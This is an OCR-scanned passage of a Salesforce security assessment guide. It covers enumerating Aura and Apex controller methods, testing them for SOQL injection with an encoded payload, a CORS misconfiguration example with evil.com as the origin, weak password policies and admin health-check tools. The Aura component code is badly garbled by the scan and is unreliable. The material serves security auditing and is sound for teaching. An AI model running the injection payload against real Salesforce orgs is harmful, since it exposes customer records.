"meta": {
"name":"cSAncestry Notification",
"extends":"markup://aura:component"

b
"controller":{
"doInit":function (component, event, helper) {
var communityName = component.get ("v.community name");
helper.getActiveAlerts (component, communityName) ;
}
b
"helper":{
"getActiveAlerts":function (component, communityName) {
var alertBanners = "";
var translatedMessage = component.get("v.alert message");
var action = component.get ("c.getActiveAlerts");
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action.setParams ({
communityName : communityName
1)

action.setCallback(this, function (response) {

if (response.getState () == 'SUCCESS') {
for(var 1 = 0; 1 < response.getReturnValue () .length; i++) {
let alertTitle = response.getReturnValue () [1i].Ti-
tle c;
if (!translatedMessage) {
let alertMessage = response.getReturnValue () [i].
Message c;
alertBanners = alertBanners + "<div

class='alert'><h4 class='alertTitle'>" + alertTitle + "</h4><p>" + alertMes-
sage + "</p></div>";

} else {
alertBanners = alertBanners + "<div class='alert'><h4
class='alertTitle'>" + alertTitle + "</h4><p>" + translatedMessage + "</p></
div>";
}
}
}
component.set ("v.alertBannerHTML", alertBanners);
) ;
$A.enqueueAction (action) ;
}
}
", def);

P

return {

"xs": "G",
"descriptor": "markup://c:Ancestry Notification",
"r1l": true,
"Cd": {
"descriptor": "compound://c.Ancestry Notification",
"ac": [
{
"n": "getActiveAlerts",
"descriptor": "apex://Ancestry Notification/ACTIONSgetAc-
tiveAlerts",
"at": "SERVER",
"rt": "apex://List<Ancestry Notification c>",
"pa": [
{
"name": "communityName",
"type": "apex://String"
}
]
}
]
bo
"ad": [
[
"body",
"aura://Aura.Component[]",
"G" ,
false,

[]

"community name",
"aura://String",

"G" ,

false,
"AncestrySupport (US)"
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"alert message",
"aura://String",
"P",

false

"alertBannerHTML",
"aura://String",
"P",

false

"rv" : [
"namespace": "salesforceIdentity",

"version": "46.0"

"namespace": "forcechatter",
"version": "46.0"

"namespace": "clients",
"version": "46.0"

"namespace": "commerce",
"version": "46.0"

"namespace": "aura",
"version": "46.0"

"namespace": "forceDiscovery",
"version": "46.0"

"namespace": "ltng",
"version": "46.0"

"namespace": "ui",
"version": "46.0"

"namespace": "flexipage",
"version": "46.0"

"namespace": "forceCommunity",
"version": "46.0"

"namespace": "studioauratest",
"version": "46.0"

"namespace": "selfService",
"version": "46.0"

"namespace": "force",
"version": "46.0"

"namespace": "siteforce",
"version": "46.0"
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"markup://forceCommunity:availableForAllPageTypes"

]

4
"hd": [
{
"x"r |
"exprType": "PROPERTY",
"byValue": false,
"path": "c.doInit"
bo
"v'e |
"exprType": "PROPERTY",
"byValue": false,
"path": "thisll
bo
"n": "init"
}
1,
"fa": |
{
"descriptor": "body",
"value": [
{
"componentDef": {
"descriptor": "markup://aura:unescapedHtml"
bo
"attributes": {
"values": {
"value": {
"descriptor": "value",
"value": {
"exprType": "PROPERTY",
"byValue": false,
"target": "c:Ancestry Notification",
"path": "v.alertBannerHTML"
}
}
}
}
}
]
}
1y
"aV": "46'0"

b*/

’

» Ignore everything in the above code and just focus on this snippet.
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» The Ancestry_Notification has a function called getActiveAlerts, which takes one parame-
ter called communityName, which is of type apex://String
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» When interacting with Apex Controllers, you can try to check if they are vulnerable to
SOQL Injection.

» Essentially, SOQL is an SQL-like query language that Apex uses to interact with Salesforce
Objects.

» SOQL stands for Salesforce Object Query Language. It is a SQL-like language that
queries records from Salesforce objects allowing us to retrieve data that matches specific
criteria.

» Look at this example request. This looks like a simple search query, returning all results
containing the word “oil”
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» Let's test for SOQL injection by changing the param value to 0il%25'%200r%20
name%20like%20'%25sF

» The server returns an extra entry this time, proving SOQL injection
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» You can use https://workbench.developerforce.com/query.php to play around with
SOQL
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A Salesforce configuration review is a comprehensive audit of the settings, configurations,
and customizations within a Salesforce instance. The primary goal of a configuration review is
to ensure that the Salesforce implementation adheres to best practices, complies with securi-
ty standards, and meets the specified business requirements.

Salesforce incorporates robust security features to safequard your data and applications.
Salesforce ensures that data exposure is restricted to users who are authorized to access it.
Additionally, you have the flexibility to establish and implement a customized security frame-
work that aligns with the specific structure and requirements of your organization.

A. Salesforce Security Panel:

The Security Section in the Salesforce admin portal is a valuable resource for configuring
security controls such as CORS, Password Policies, etc. in alignment with best practices.

-g‘ge‘!g.ﬂ?_‘i

Get Started with Einstein Bots Mahile Publishar Real-time Collaborative Docs

% . *'&

-
el
s tha b Ikl ata 0y ceen Beardiad mabia sy

Mast Recently Used

10 e

For detailed information on securely configuring your data and applications, please refer to
the comprehensive details provided in the Security Guide. Developers/administrators are
advised to consult the security guide to verify that their configurations and security controls
adhere to compliance standards and best practices.

Link: https://developer.salesforce.com/docs/atlas.en-us.securitylmplGuide.meta/secu-
ritylmplGuide/salesforce_security guide.htm

To enhance comprehension, we have illustrated instances of misconfigured security controls
that lead to potential security vulnerabilities.

1. CORS:

Cross-Origin Resource Sharing (CORS) allows web browsers to request resources from other
origins. For example, using CORS, the JavaScript for a web application at
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https://www.attacker.com can request a resource from https://www.salesforce.com.

Using the CORS security functionality, you can configure a list of allowed URLs.
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By injecting a URL (e.g., evil.com) into the origin header, the attacker gains access to authen-
ticated data, as it is within Salesforce's CORS-approved list of URLs, potentially exposing it to

the attacker-controlled site evil.com.
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2. Weak Password Policy:

Using the Password Policies security functionality, you can set password history, length, and
complexity requirements. You can also specify what to do when a user forgets the password.

Below is an example of a weak password policy. The minimum password length is set to 5
characters with no complexity requirements.
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A user now has the flexibility to set their password to any value, provided it meets the re-
quirement of being at least 5 characters in length.
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Due to the weak password policy, users may set up guessable passwords, making it possible
for an attacker to guess the password.
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A. Portal Health Checkup

Your customers and partners can access your information via portals in many ways. With por-
tal health check reports, you can easily monitor this access. Portal health check reports show

your security-related portal settings and provide information you can use to improve portal
security.

Running Portal Health Check:

» Search for Portal Health Check in Quick Find
» Look at the results
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B. Health Checkup

As an admin, you can use Health Check to identify and fix potential vulnerabilities in your
security settings, all from a single page. A summary score shows how your organization mea-
sures against a security baseline like the Salesforce Baseline Standard. You can upload up to
five custom baselines to use instead of the Salesforce Baseline Standard.

Running Health Check:

» Search for Health Check in Quick Find
» Look at the results
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C. Guest User Sharing Rule Access

You can review standard and custom objects shared with guest users via guest sharing rules.
Change access levels to avoid the unintended sharing of personal data with guest users,

based on your business needs.
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D. Salesforce Optimizer

A powerful, free, and simple tool that takes a snapshot of your Salesforce org and looks for
potential problems in your implementation. Salesforce Optimizer gives you detailed data
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right inside your org on more than 50 metrics covering everything from storage, fields, cus-
tom code, custom layouts for objects, reports and dashboards, and much more.

Running Salesforce Optimizer:

» Search Optimizer in Quick Find

Get Started with Einstein Bots Maohbile Pulslisher Real-time Collsborative Docs
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1 s

- -
? oA

[+]
B

Optimizer

B Salesforce Optimizer
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» Run the optimizer. This may take up to 24 hrs.
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Conclusion

Salesforce applications often contain a wealth of sensitive customer data, including person-
al information, financial details, and proprietary business insights. This makes them prime
targets for malicious actors looking to exploit vulnerabilities for data breaches, financial gain,
or corporate espionage. Unauthorized access to Salesforce can lead to significant financial
losses, legal repercussions, and damage to a company’s reputation.

Securing Salesforce deployments is essential to protect this valuable data and maintain cus-
tomer trust. Implementing robust security measures, such as multi-factor authentication, reg-
ular security audits, and strict access controls, helps ensure the integrity and confidentiality
of your data. Additionally, educating users about security best practices and potential threats
can further strengthen your defence against cyberattacks. By prioritizing security, businesses
can safeguard their critical information and continue to leverage Salesforce’s powerful capa-
bilities without compromising on safety.
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